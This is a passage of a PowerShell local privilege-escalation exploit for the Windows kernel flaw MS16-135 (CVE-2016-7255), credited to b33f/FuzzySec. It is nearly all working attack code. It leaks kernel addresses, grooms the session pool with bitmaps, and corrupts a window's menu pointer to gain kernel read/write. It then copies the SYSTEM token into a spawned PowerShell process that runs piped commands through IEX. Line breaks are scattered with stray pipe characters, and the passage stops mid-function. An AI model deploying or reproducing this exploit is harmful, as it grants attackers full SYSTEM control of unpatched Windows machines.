[DllImport("user32.dll")]
|
||||||
|
public static extern bool GetMessage(
|
||||||
|
out tagMSG lpMsg,
|
||||||
|
IntPtr hWnd,
|
||||||
|
uint wMsgFilterMin,
|
||||||
|
uint wMsgFilterMax);
|
||||||
|
|
||||||
|
[DllImport("user32.dll")]
|
||||||
|
public static extern bool TranslateMessage(
|
||||||
|
[In] ref tagMSG lpMsg);
|
||||||
|
|
||||||
|
[DllImport("user32.dll")]
|
||||||
|
public static extern IntPtr DispatchMessage(
|
||||||
|
[In] ref tagMSG lpmsg);
|
||||||
|
|
||||||
|
[DllImport("user32.dll", SetLastError = true)]
|
||||||
|
public static extern IntPtr SetFocus(
|
||||||
|
IntPtr hWnd);
|
||||||
|
|
||||||
|
[DllImport("user32.dll")]
|
||||||
|
public static extern uint SendInput(
|
||||||
|
uint nInputs,
|
||||||
|
[In] INPUT pInputs,
|
||||||
|
int cbSize);
|
||||||
|
|
||||||
|
[DllImport("gdi32.dll")]
|
||||||
|
public static extern int GetBitmapBits(
|
||||||
|
IntPtr hbmp,
|
||||||
|
int cbBuffer,
|
||||||
|
IntPtr lpvBits);
|
||||||
|
|
||||||
|
[DllImport("gdi32.dll")]
|
||||||
|
public static extern int SetBitmapBits(
|
||||||
|
IntPtr hbmp,
|
||||||
|
int cbBytes,
|
||||||
|
IntPtr lpBits);
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll", SetLastError = true)]
|
||||||
|
public static extern IntPtr VirtualAlloc(
|
||||||
|
IntPtr lpAddress,
|
||||||
|
uint dwSize,
|
||||||
|
UInt32 flAllocationType,
|
||||||
|
UInt32 flProtect);
|
||||||
|
|
||||||
|
public UInt16 CustomClass(string class_name)
|
||||||
|
{
|
||||||
|
m_wnd_proc_delegate = CustomWndProc;
|
||||||
|
WNDCLASSEX wind_class = new WNDCLASSEX();
|
||||||
|
wind_class.lpszClassName = class_name;
|
||||||
|
///wind_class.cbSize = (uint)Marshal.SizeOf(wind_class);
|
||||||
|
wind_class.lpfnWndProc = System.Runtime.InteropServices.Marshal.GetFunctionPointerForDelegate(m_wnd_proc_delegate);
|
||||||
|
return RegisterClassW(ref wind_class);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static IntPtr CustomWndProc(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam)
|
||||||
|
{
|
||||||
|
return DefWindowProcW(hWnd, msg, wParam, lParam);
|
||||||
|
}
|
||||||
|
|
||||||
|
private WndProc m_wnd_proc_delegate;
|
||||||
|
}
|
||||||
|
"@
|
||||||
|
|
||||||
|
#==============================================================[Banner]
|
||||||
|
$ms16135 = @"
|
||||||
|
_____ _____ ___ ___ ___ ___ ___
|
||||||
|
| | __|_ | | _|___|_ | |_ | _|
|
||||||
|
| | | |__ |_| |_| . |___|_| |_|_ |_ |
|
||||||
|
|_|_|_|_____|_____|___| |_____|___|___|
|
||||||
|
|
||||||
|
[by b33f -> @FuzzySec]
|
||||||
|
|
||||||
|
"@
|
||||||
|
$ms16135
|
||||||
|
|
||||||
|
if ([System.IntPtr]::Size -ne 8) {
|
||||||
|
"`n[!] Target architecture is x64 only!`n"
|
||||||
|
Return
|
||||||
|
}
|
||||||
|
|
||||||
|
$OSVersion = [Version](Get-WmiObject Win32_OperatingSystem).Version
|
||||||
|
$Script:OSMajorMinor = "$($OSVersion.Major).$($OSVersion.Minor)"
|
||||||
|
switch ($OSMajorMinor)
|
||||||
|
{
|
||||||
|
'10.0' # Win10 / 2k16
|
||||||
|
{
|
||||||
|
Write-Verbose "[?] Target is Win 10"
|
||||||
|
Write-Verbose "[+] Bitmap dimensions: 0x760*0x4`n"
|
||||||
|
}
|
||||||
|
|
||||||
|
'6.3' # Win8.1 / 2k12R2
|
||||||
|
{
|
||||||
|
Write-Verbose "[?] Target is Win 8.1"
|
||||||
|
Write-Verbose "[+] Bitmap dimensions: 0x760*0x4`n"
|
||||||
|
}
|
||||||
|
|
||||||
|
'6.2' # Win8 / 2k12
|
||||||
|
{
|
||||||
|
Write-Verbose "[?] Target is Win 8"
|
||||||
|
Write-Verbose "[+] Bitmap dimensions: 0x760*0x4`n"
|
||||||
|
}
|
||||||
|
|
||||||
|
'6.1' # Win7 / 2k8R2
|
||||||
|
{
|
||||||
|
Write-Verbose "[?] Target is Win 7"
|
||||||
|
Write-Verbose "[+] Bitmap dimensions: 0x770*0x4`n"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function Get-LoadedModules {
|
||||||
|
|
||||||
|
Add-Type -TypeDefinition @"
|
||||||
|
using System;
|
||||||
|
using System.Diagnostics;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
using System.Security.Principal;
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential, Pack = 1)]
|
||||||
|
public struct SYSTEM_MODULE_INFORMATION
|
||||||
|
{
|
||||||
|
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 2)]
|
||||||
|
public UIntPtr[] Reserved;
|
||||||
|
public IntPtr ImageBase;
|
||||||
|
public UInt32 ImageSize;
|
||||||
|
public UInt32 Flags;
|
||||||
|
public UInt16 LoadOrderIndex;
|
||||||
|
public UInt16 InitOrderIndex;
|
||||||
|
public UInt16 LoadCount;
|
||||||
|
public UInt16 ModuleNameOffset;
|
||||||
|
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 256)]
|
||||||
|
internal Char[] _ImageName;
|
||||||
|
public String ImageName {
|
||||||
|
get {
|
||||||
|
return new String(_ImageName).Split(new Char[] {'\0'}, 2)[0];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static class Ntdll
|
||||||
|
{
|
||||||
|
[DllImport("ntdll.dll")]
|
||||||
|
public static extern int NtQuerySystemInformation(
|
||||||
|
int SystemInformationClass,
|
||||||
|
IntPtr SystemInformation,
|
||||||
|
int SystemInformationLength,
|
||||||
|
ref int ReturnLength);
|
||||||
|
}
|
||||||
|
"@
|
||||||
|
|
||||||
|
[int]$BuffPtr_Size = 0
|
||||||
|
while ($true) {
|
||||||
|
[IntPtr]$BuffPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($BuffPtr_Size)
|
||||||
|
$SystemInformationLength = New-Object Int
|
||||||
|
|
||||||
|
$CallResult = [Ntdll]::NtQuerySystemInformation(11, $BuffPtr, $BuffPtr_Size, [ref]$SystemInformationLength)
|
||||||
|
|
||||||
|
if ($CallResult -eq 0xC0000004) {
|
||||||
|
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
|
||||||
|
[int]$BuffPtr_Size = [System.Math]::Max($BuffPtr_Size,$SystemInformationLength)
|
||||||
|
}
|
||||||
|
elseif ($CallResult -eq 0x00000000) {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
$SYSTEM_MODULE_INFORMATION = New-Object SYSTEM_MODULE_INFORMATION
|
||||||
|
$SYSTEM_MODULE_INFORMATION = $SYSTEM_MODULE_INFORMATION.GetType()
|
||||||
|
if ([System.IntPtr]::Size -eq 4) {
|
||||||
|
$SYSTEM_MODULE_INFORMATION_Size = 284
|
||||||
|
} else {
|
||||||
|
$SYSTEM_MODULE_INFORMATION_Size = 296
|
||||||
|
}
|
||||||
|
|
||||||
|
$BuffOffset = $BuffPtr.ToInt64()
|
||||||
|
$HandleCount = [System.Runtime.InteropServices.Marshal]::ReadInt32($BuffOffset)
|
||||||
|
$BuffOffset = $BuffOffset + [System.IntPtr]::Size
|
||||||
|
|
||||||
|
$SystemModuleArray = @()
|
||||||
|
for ($i=0; $i -lt $HandleCount; $i++){
|
||||||
|
$SystemPointer = New-Object System.Intptr -ArgumentList $BuffOffset
|
||||||
|
$Cast = [system.runtime.interopservices.marshal]::PtrToStructure($SystemPointer,[type]$SYSTEM_MODULE_INFORMATION)
|
||||||
|
|
||||||
|
$HashTable = @{
|
||||||
|
ImageName = $Cast.ImageName
|
||||||
|
ImageBase = if ([System.IntPtr]::Size -eq 4) {$($Cast.ImageBase).ToInt32()} else {$($Cast.ImageBase).ToInt64()}
|
||||||
|
ImageSize = "0x$('{0:X}' -f $Cast.ImageSize)"
|
||||||
|
}
|
||||||
|
|
||||||
|
$Object = New-Object PSObject -Property $HashTable
|
||||||
|
$SystemModuleArray += $Object
|
||||||
|
|
||||||
|
$BuffOffset = $BuffOffset + $SYSTEM_MODULE_INFORMATION_Size
|
||||||
|
}
|
||||||
|
|
||||||
|
$SystemModuleArray
|
||||||
|
|
||||||
|
# Free SystemModuleInformation array
|
||||||
|
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
|
||||||
|
}
|
||||||
|
|
||||||
|
function Stage-gSharedInfoBitmap {
|
||||||
|
|
||||||
|
Add-Type -TypeDefinition @"
|
||||||
|
using System;
|
||||||
|
using System.Diagnostics;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
using System.Security.Principal;
|
||||||
|
|
||||||
|
public static class gSharedInfoBitmap
|
||||||
|
{
|
||||||
|
[DllImport("gdi32.dll")]
|
||||||
|
public static extern IntPtr CreateBitmap(
|
||||||
|
int nWidth,
|
||||||
|
int nHeight,
|
||||||
|
uint cPlanes,
|
||||||
|
uint cBitsPerPel,
|
||||||
|
IntPtr lpvBits);
|
||||||
|
|
||||||
|
[DllImport("kernel32", SetLastError=true, CharSet = CharSet.Ansi)]
|
||||||
|
public static extern IntPtr LoadLibrary(
|
||||||
|
string lpFileName);
|
||||||
|
|
||||||
|
[DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
|
||||||
|
public static extern IntPtr GetProcAddress(
|
||||||
|
IntPtr hModule,
|
||||||
|
string procName);
|
||||||
|
|
||||||
|
[DllImport("user32.dll")]
|
||||||
|
public static extern IntPtr CreateAcceleratorTable(
|
||||||
|
IntPtr lpaccl,
|
||||||
|
int cEntries);
|
||||||
|
|
||||||
|
[DllImport("user32.dll")]
|
||||||
|
public static extern bool DestroyAcceleratorTable(
|
||||||
|
IntPtr hAccel);
|
||||||
|
}
|
||||||
|
"@
|
||||||
|
|
||||||
|
if ([System.IntPtr]::Size -eq 4) {
|
||||||
|
$x32 = 1
|
||||||
|
}
|
||||||
|
|
||||||
|
function Create-AcceleratorTable {
|
||||||
|
[IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(10000)
|
||||||
|
$AccelHandle = [gSharedInfoBitmap]::CreateAcceleratorTable($Buffer, 700) # +4 kb size
|
||||||
|
$User32Hanle = [gSharedInfoBitmap]::LoadLibrary("user32.dll")
|
||||||
|
$gSharedInfo = [gSharedInfoBitmap]::GetProcAddress($User32Hanle, "gSharedInfo")
|
||||||
|
if ($x32){
|
||||||
|
$gSharedInfo = $gSharedInfo.ToInt32()
|
||||||
|
} else {
|
||||||
|
$gSharedInfo = $gSharedInfo.ToInt64()
|
||||||
|
}
|
||||||
|
$aheList = $gSharedInfo + [System.IntPtr]::Size
|
||||||
|
if ($x32){
|
||||||
|
$aheList = [System.Runtime.InteropServices.Marshal]::ReadInt32($aheList)
|
||||||
|
$HandleEntry = $aheList + ([int]$AccelHandle -band 0xffff)*0xc # _HANDLEENTRY.Size = 0xC
|
||||||
|
$phead = [System.Runtime.InteropServices.Marshal]::ReadInt32($HandleEntry)
|
||||||
|
} else {
|
||||||
|
$aheList = [System.Runtime.InteropServices.Marshal]::ReadInt64($aheList)
|
||||||
|
$HandleEntry = $aheList + ([int]$AccelHandle -band 0xffff)*0x18 # _HANDLEENTRY.Size = 0x18
|
||||||
|
$phead = [System.Runtime.InteropServices.Marshal]::ReadInt64($HandleEntry)
|
||||||
|
}
|
||||||
|
|
||||||
|
$Result = @()
|
||||||
|
$HashTable = @{
|
||||||
|
Handle = $AccelHandle
|
||||||
|
KernelObj = $phead
|
||||||
|
}
|
||||||
|
$Object = New-Object PSObject -Property $HashTable
|
||||||
|
$Result += $Object
|
||||||
|
$Result
|
||||||
|
}
|
||||||
|
|
||||||
|
function Destroy-AcceleratorTable {
|
||||||
|
param ($Hanlde)
|
||||||
|
$CallResult = [gSharedInfoBitmap]::DestroyAcceleratorTable($Hanlde)
|
||||||
|
}
|
||||||
|
|
||||||
|
$KernelArray = @()
|
||||||
|
for ($i=0;$i -lt 20;$i++) {
|
||||||
|
$KernelArray += Create-AcceleratorTable
|
||||||
|
if ($KernelArray.Length -gt 1) {
|
||||||
|
if ($KernelArray[$i].KernelObj -eq $KernelArray[$i-1].KernelObj) {
|
||||||
|
Destroy-AcceleratorTable -Hanlde $KernelArray[$i].Handle
|
||||||
|
[IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(0x50*2*4)
|
||||||
|
if ($OSMajorMinor -eq "6.1") {
|
||||||
|
$BitmapHandle = [gSharedInfoBitmap]::CreateBitmap(0x770, 4, 1, 8, $Buffer) # Win7
|
||||||
|
} else {
|
||||||
|
$BitmapHandle = [gSharedInfoBitmap]::CreateBitmap(0x760, 4, 1, 8, $Buffer) # Win8-10
|
||||||
|
}
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Destroy-AcceleratorTable -Hanlde $KernelArray[$i].Handle
|
||||||
|
}
|
||||||
|
|
||||||
|
$BitMapObject = @()
|
||||||
|
$HashTable = @{
|
||||||
|
BitmapHandle = $BitmapHandle
|
||||||
|
BitmapKernelObj = $($KernelArray[$i].KernelObj)
|
||||||
|
BitmappvScan0 = if ($x32) {$($KernelArray[$i].KernelObj) + 0x32} else {$($KernelArray[$i].KernelObj) + 0x50}
|
||||||
|
}
|
||||||
|
$Object = New-Object PSObject -Property $HashTable
|
||||||
|
$BitMapObject += $Object
|
||||||
|
$BitMapObject
|
||||||
|
}
|
||||||
|
|
||||||
|
function Bitmap-Elevate {
|
||||||
|
param([IntPtr]$ManagerBitmap,[IntPtr]$WorkerBitmap)
|
||||||
|
|
||||||
|
Add-Type -TypeDefinition @"
|
||||||
|
using System;
|
||||||
|
using System.Diagnostics;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
using System.Security.Principal;
|
||||||
|
public static class BitmapElevate
|
||||||
|
{
|
||||||
|
[DllImport("gdi32.dll")]
|
||||||
|
public static extern int SetBitmapBits(
|
||||||
|
IntPtr hbmp,
|
||||||
|
uint cBytes,
|
||||||
|
byte[] lpBits);
|
||||||
|
[DllImport("gdi32.dll")]
|
||||||
|
public static extern int GetBitmapBits(
|
||||||
|
IntPtr hbmp,
|
||||||
|
int cbBuffer,
|
||||||
|
IntPtr lpvBits);
|
||||||
|
[DllImport("kernel32.dll", SetLastError = true)]
|
||||||
|
public static extern IntPtr VirtualAlloc(
|
||||||
|
IntPtr lpAddress,
|
||||||
|
uint dwSize,
|
||||||
|
UInt32 flAllocationType,
|
||||||
|
UInt32 flProtect);
|
||||||
|
[DllImport("kernel32.dll", SetLastError=true)]
|
||||||
|
public static extern bool VirtualFree(
|
||||||
|
IntPtr lpAddress,
|
||||||
|
uint dwSize,
|
||||||
|
uint dwFreeType);
|
||||||
|
[DllImport("kernel32.dll", SetLastError=true)]
|
||||||
|
public static extern bool FreeLibrary(
|
||||||
|
IntPtr hModule);
|
||||||
|
[DllImport("kernel32", SetLastError=true, CharSet = CharSet.Ansi)]
|
||||||
|
public static extern IntPtr LoadLibrary(
|
||||||
|
string lpFileName);
|
||||||
|
[DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
|
||||||
|
public static extern IntPtr GetProcAddress(
|
||||||
|
IntPtr hModule,
|
||||||
|
string procName);
|
||||||
|
}
|
||||||
|
"@
|
||||||
|
|
||||||
|
function Bitmap-Read {
|
||||||
|
param ($Address)
|
||||||
|
$CallResult = [BitmapElevate]::SetBitmapBits($ManagerBitmap, [System.IntPtr]::Size, [System.BitConverter]::GetBytes($Address))
|
||||||
|
[IntPtr]$Pointer = [BitmapElevate]::VirtualAlloc([System.IntPtr]::Zero, [System.IntPtr]::Size, 0x3000, 0x40)
|
||||||
|
$CallResult = [BitmapElevate]::GetBitmapBits($WorkerBitmap, [System.IntPtr]::Size, $Pointer)
|
||||||
|
if ($x32Architecture){
|
||||||
|
[System.Runtime.InteropServices.Marshal]::ReadInt32($Pointer)
|
||||||
|
} else {
|
||||||
|
[System.Runtime.InteropServices.Marshal]::ReadInt64($Pointer)
|
||||||
|
}
|
||||||
|
$CallResult = [BitmapElevate]::VirtualFree($Pointer, [System.IntPtr]::Size, 0x8000)
|
||||||
|
}
|
||||||
|
|
||||||
|
function Bitmap-Write {
|
||||||
|
param ($Address, $Value)
|
||||||
|
$CallResult = [BitmapElevate]::SetBitmapBits($ManagerBitmap, [System.IntPtr]::Size, [System.BitConverter]::GetBytes($Address))
|
||||||
|
$CallResult = [BitmapElevate]::SetBitmapBits($WorkerBitmap, [System.IntPtr]::Size, [System.BitConverter]::GetBytes($Value))
|
||||||
|
}
|
||||||
|
|
||||||
|
switch ($OSMajorMinor)
|
||||||
|
{
|
||||||
|
'10.0' # Win10 / 2k16
|
||||||
|
{
|
||||||
|
$UniqueProcessIdOffset = 0x2e8
|
||||||
|
$TokenOffset = 0x358
|
||||||
|
$ActiveProcessLinks = 0x2f0
|
||||||
|
}
|
||||||
|
|
||||||
|
'6.3' # Win8.1 / 2k12R2
|
||||||
|
{
|
||||||
|
$UniqueProcessIdOffset = 0x2e0
|
||||||
|
$TokenOffset = 0x348
|
||||||
|
$ActiveProcessLinks = 0x2e8
|
||||||
|
}
|
||||||
|
|
||||||
|
'6.2' # Win8 / 2k12
|
||||||
|
{
|
||||||
|
$UniqueProcessIdOffset = 0x2e0
|
||||||
|
$TokenOffset = 0x348
|
||||||
|
$ActiveProcessLinks = 0x2e8
|
||||||
|
}
|
||||||
|
|
||||||
|
'6.1' # Win7 / 2k8R2
|
||||||
|
{
|
||||||
|
$UniqueProcessIdOffset = 0x180
|
||||||
|
$TokenOffset = 0x208
|
||||||
|
$ActiveProcessLinks = 0x188
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Write-Verbose "`n[>] Leaking SYSTEM _EPROCESS.."
|
||||||
|
$SystemModuleArray = Get-LoadedModules
|
||||||
|
$KernelBase = $SystemModuleArray[0].ImageBase
|
||||||
|
$KernelType = ($SystemModuleArray[0].ImageName -split "\\")[-1]
|
||||||
|
$KernelHanle = [BitmapElevate]::LoadLibrary("$KernelType")
|
||||||
|
$PsInitialSystemProcess = [BitmapElevate]::GetProcAddress($KernelHanle, "PsInitialSystemProcess")
|
||||||
|
$SysEprocessPtr = if (!$x32Architecture) {$PsInitialSystemProcess.ToInt64() - $KernelHanle + $KernelBase} else {$PsInitialSystemProcess.ToInt32() - $KernelHanle + $KernelBase}
|
||||||
|
$CallResult = [BitmapElevate]::FreeLibrary($KernelHanle)
|
||||||
|
Write-Verbose "[+] _EPROCESS list entry: 0x$("{0:X}" -f $SysEprocessPtr)"
|
||||||
|
$SysEPROCESS = Bitmap-Read -Address $SysEprocessPtr
|
||||||
|
Write-Verbose "[+] SYSTEM _EPROCESS address: 0x$("{0:X}" -f $(Bitmap-Read -Address $SysEprocessPtr))"
|
||||||
|
Write-Verbose "[+] PID: $(Bitmap-Read -Address $($SysEPROCESS+$UniqueProcessIdOffset))"
|
||||||
|
Write-Verbose "[+] SYSTEM Token: 0x$("{0:X}" -f $(Bitmap-Read -Address $($SysEPROCESS+$TokenOffset)))"
|
||||||
|
$SysToken = Bitmap-Read -Address $($SysEPROCESS+$TokenOffset)
|
||||||
|
|
||||||
|
Write-Verbose "`n[>] Spawn child"
|
||||||
|
|
||||||
|
$npipeName = Get-Random
|
||||||
|
|
||||||
|
Write-Verbose "`n[>] Choosen name : $npipeName"
|
||||||
|
|
||||||
|
$StartupInfo = New-Object STARTUPINFO
|
||||||
|
$StartupInfo.dwFlags = 0x00000001
|
||||||
|
$StartupInfo.wShowWindow = 0x00000000
|
||||||
|
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
|
||||||
|
$ProcessInfo = New-Object PROCESS_INFORMATION
|
||||||
|
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
|
||||||
|
$CallResult = [Advapi32]::CreateProcessWithLogonW(
|
||||||
|
"user", "domain", "pass",
|
||||||
|
0x00000002, "$Env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe", " add-type -assemblyName `'System.Core`';`$npipeClient = new-object System.IO.Pipes.NamedPipeClientStream(`'.`', `'$npipeName`', [System.IO.Pipes.PipeDirection]::InOut,[System.IO.Pipes.PipeOptions]::None,[System.Security.Principal.TokenImpersonationLevel]::Impersonation);`$pipeReader = `$pipeWriter = `$null;`$playerName = `'ping`';`$npipeClient.Connect();`$pipeWriter = new-object System.IO.StreamWriter(`$npipeClient);`$pipeReader = new-object System.IO.StreamReader(`$npipeClient);`$pipeWriter.AutoFlush = `$true;`$pipeWriter.WriteLine(`$playerName);IEX `$pipeReader.ReadLine();`$npipeClient.Dispose();",
|
||||||
|
$null, $null, $GetCurrentPath,
|
||||||
|
[ref]$StartupInfo, [ref]$ProcessInfo)
|
||||||
|
|
||||||
|
|
||||||
|
add-type -assemblyName "System.Core"
|
||||||
|
$npipeServer = new-object System.IO.Pipes.NamedPipeServerStream($npipeName, [System.IO.Pipes.PipeDirection]::InOut)
|
||||||
|
$npipeServer.WaitForConnection()
|
||||||
|
$pipeReader = new-object System.IO.StreamReader($npipeServer)
|
||||||
|
$script:pipeWriter = new-object System.IO.StreamWriter($npipeServer)
|
||||||
|
$pipeWriter.AutoFlush = $true
|
||||||
|
$playerName = $pipeReader.ReadLine()
|
||||||
|
|
||||||
|
if($playerName -eq "ping")
|
||||||
|
{
|
||||||
|
Write-Verbose "[+] Ping from child, voila"
|
||||||
|
}
|
||||||
|
|
||||||
|
Write-Verbose "[+] Child PID is : $("{0}" -f $ProcessInfo.dwProcessId)`n"
|
||||||
|
|
||||||
|
Write-Verbose "`n[>] Leaking current _EPROCESS.."
|
||||||
|
Write-Verbose "[+] Traversing ActiveProcessLinks list"
|
||||||
|
$NextProcess = $(Bitmap-Read -Address $($SysEPROCESS+$ActiveProcessLinks)) - $UniqueProcessIdOffset - [System.IntPtr]::Size
|
||||||
|
while($true) {
|
||||||
|
$NextPID = Bitmap-Read -Address $($NextProcess+$UniqueProcessIdOffset)
|
||||||
|
if ($NextPID -eq $ProcessInfo.dwProcessId) {
|
||||||
|
Write-Verbose "[+] PowerShell _EPROCESS address: 0x$("{0:X}" -f $NextProcess)"
|
||||||
|
Write-Verbose "[+] PID: $NextPID"
|
||||||
|
Write-Verbose "[+] PowerShell Token: 0x$("{0:X}" -f $(Bitmap-Read -Address $($NextProcess+$TokenOffset)))"
|
||||||
|
$PoShTokenAddr = $NextProcess+$TokenOffset
|
||||||
|
break
|
||||||
|
}
|
||||||
|
$NextProcess = $(Bitmap-Read -Address $($NextProcess+$ActiveProcessLinks)) - $UniqueProcessIdOffset - [System.IntPtr]::Size
|
||||||
|
}
|
||||||
|
|
||||||
|
Write-Verbose "`n[!] Duplicating SYSTEM token!`n"
|
||||||
|
|
||||||
|
Bitmap-Write -Address $PoShTokenAddr -Value $SysToken
|
||||||
|
|
||||||
|
"`n[!] Success, spawning a system shell!"
|
||||||
|
|
||||||
|
Write-Verbose "[!] Sending command to the elevated child"
|
||||||
|
$pipeWriter.WriteLine($Command)
|
||||||
|
$npipeServer.Dispose()
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
function Sim-KeyDown {
|
||||||
|
param([Int]$wKey)
|
||||||
|
$KeyboardInput = New-Object KEYBDINPUT
|
||||||
|
$KeyboardInput.dwFlags = 0
|
||||||
|
$KeyboardInput.wVk = $wKey
|
||||||
|
|
||||||
|
$InputObject = New-Object INPUT
|
||||||
|
$InputObject.itype = 1
|
||||||
|
$InputObject.U = $KeyboardInput
|
||||||
|
$InputSize = [System.Runtime.InteropServices.Marshal]::SizeOf($InputObject)
|
||||||
|
|
||||||
|
$CallResult = [ms16135]::SendInput(1, $InputObject, $InputSize)
|
||||||
|
if ($CallResult -eq 1) {
|
||||||
|
$true
|
||||||
|
} else {
|
||||||
|
$false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function Sim-KeyUp {
|
||||||
|
param([Int]$wKey)
|
||||||
|
$KeyboardInput = New-Object KEYBDINPUT
|
||||||
|
$KeyboardInput.dwFlags = 2
|
||||||
|
$KeyboardInput.wVk = $wKey
|
||||||
|
|
||||||
|
$InputObject = New-Object INPUT
|
||||||
|
$InputObject.itype = 1
|
||||||
|
$InputObject.U = $KeyboardInput
|
||||||
|
$InputSize = [System.Runtime.InteropServices.Marshal]::SizeOf($InputObject)
|
||||||
|
|
||||||
|
$CallResult = [ms16135]::SendInput(1, $InputObject, $InputSize)
|
||||||
|
if ($CallResult -eq 1) {
|
||||||
|
$true
|
||||||
|
} else {
|
||||||
|
$false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function Do-AltShiftEsc {
|
||||||
|
$CallResult = Sim-KeyDown -wKey 0x12 # VK_MENU
|
||||||
|
$CallResult = Sim-KeyDown -wKey 0x10 # VK_SHIFT
|
||||||
|
$CallResult = Sim-KeyDown -wKey 0x1b # VK_ESCAPE
|
||||||
|
$CallResult = Sim-KeyUp -wKey 0x1b # VK_ESCAPE
|
||||||
|
$CallResult = Sim-KeyDown -wKey 0x1b # VK_ESCAPE
|
||||||
|
$CallResult = Sim-KeyUp -wKey 0x1b # VK_ESCAPE
|
||||||
|
$CallResult = Sim-KeyUp -wKey 0x12 # VK_MENU
|
||||||
|
$CallResult = Sim-KeyUp -wKey 0x10 # VK_SHIFT
|
||||||
|
}
|
||||||
|
|
||||||
|
function Do-AltShiftTab {
|
||||||
|
param([Int]$Count)
|
||||||
|
$CallResult = Sim-KeyDown -wKey 0x12 # VK_MENU
|
||||||
|
$CallResult = Sim-KeyDown -wKey 0x10 # VK_SHIFT
|
||||||
|
for ($i=0;$i -lt $count;$i++) {
|
||||||
|
$CallResult = Sim-KeyDown -wKey 0x9 # VK_TAB
|
||||||
|
$CallResult = Sim-KeyUp -wKey 0x9 # VK_TAB
|
||||||
|
}
|
||||||
|
$CallResult = Sim-KeyUp -wKey 0x12 # VK_MENU
|
||||||
|
$CallResult = Sim-KeyUp -wKey 0x10 # VK_SHIFT
|
||||||
|
}
|
||||||
|
|
||||||
|
do {
|
||||||
|
$Bitmap1 = Stage-gSharedInfoBitmap
|
||||||
|
$Bitmap2 = Stage-gSharedInfoBitmap
|
||||||
|
if ($Bitmap1.BitmapKernelObj -lt $Bitmap2.BitmapKernelObj) {
|
||||||
|
$WorkerBitmap = $Bitmap1
|
||||||
|
$ManagerBitmap = $Bitmap2
|
||||||
|
} else {
|
||||||
|
$WorkerBitmap = $Bitmap2
|
||||||
|
$ManagerBitmap = $Bitmap1
|
||||||
|
}
|
||||||
|
$Distance = $ManagerBitmap.BitmapKernelObj - $WorkerBitmap.BitmapKernelObj
|
||||||
|
} while ($Distance -ne 0x2000)
|
||||||
|
|
||||||
|
Write-Verbose "[?] Adjacent large session pool feng shui.."
|
||||||
|
Write-Verbose "[+] Worker : $('{0:X}' -f $WorkerBitmap.BitmapKernelObj)"
|
||||||
|
Write-Verbose "[+] Manager : $('{0:X}' -f $ManagerBitmap.BitmapKernelObj)"
|
||||||
|
Write-Verbose "[+] Distance: 0x$('{0:X}' -f $Distance)"
|
||||||
|
|
||||||
|
$TargetAddress = $WorkerBitmap.BitmapKernelObj + 63
|
||||||
|
|
||||||
|
function Do-OrAddress {
|
||||||
|
param([Int64]$Address)
|
||||||
|
|
||||||
|
$AtomCreate = New-Object ms16135
|
||||||
|
$hAtom = $AtomCreate.CustomClass("cve-2016-7255")
|
||||||
|
if ($hAtom -eq 0){
|
||||||
|
break
|
||||||
|
}
|
||||||
|
|
||||||
|
Write-Verbose "`n[?] Creating Window objects"
|
||||||
|
$hMod = [ms16135]::GetModuleHandleW([String]::Empty)
|
||||||
|
$hWndParent = [ms16135]::CreateWindowExW(0,"cve-2016-7255",[String]::Empty,0x10CF0000,0,0,360,360,[IntPtr]::Zero,[IntPtr]::Zero,$hMod,[IntPtr]::Zero)
|
||||||
|
if ($hWndParent -eq 0){
|
||||||
|
break
|
||||||
|
}
|
||||||
|
|
||||||
|
$hWndChild = [ms16135]::CreateWindowExW(0,"cve-2016-7255","cve-2016-7255",0x50CF0000,0,0,160,160,$hWndParent,[IntPtr]::Zero,$hMod,[IntPtr]::Zero)
|
||||||
|
if ($hWndChild -eq 0){
|
||||||
|
break
|
||||||
|
}
|
||||||
|
|
||||||
|
$Address = $Address - 0x28
|
||||||
|
|
||||||
|
Write-Verbose "[+] Corrupting child window spmenu"
|
||||||
|
$CallResult = [ms16135]::SetWindowLongPtr($hWndChild,-12,[IntPtr]$Address)
|
||||||
|
|
||||||
|
$CallResult = [ms16135]::ShowWindow($hWndParent,1)
|
||||||
|
$hDesktopWindow = [ms16135]::GetDesktopWindow()
|
||||||
|
$CallResult = [ms16135]::SetParent($hWndChild,$hDesktopWindow)
|
||||||
|
$CallResult = [ms16135]::SetForegroundWindow($hWndChild)
|
||||||
|
|
||||||
|
Do-AltShiftTab -Count 4
|
||||||
|
|
||||||
|
$CallResult = [ms16135]::SwitchToThisWindow($hWndChild,$true)
|
||||||
|
|
||||||
|
Do-AltShiftEsc
|
||||||
|
|
||||||
|
function Trigger-Write {
|
||||||
|
$SafeGuard = [diagnostics.stopwatch]::StartNew()
|
||||||
|
while ($SafeGuard.ElapsedMilliseconds -lt 3000) {
|
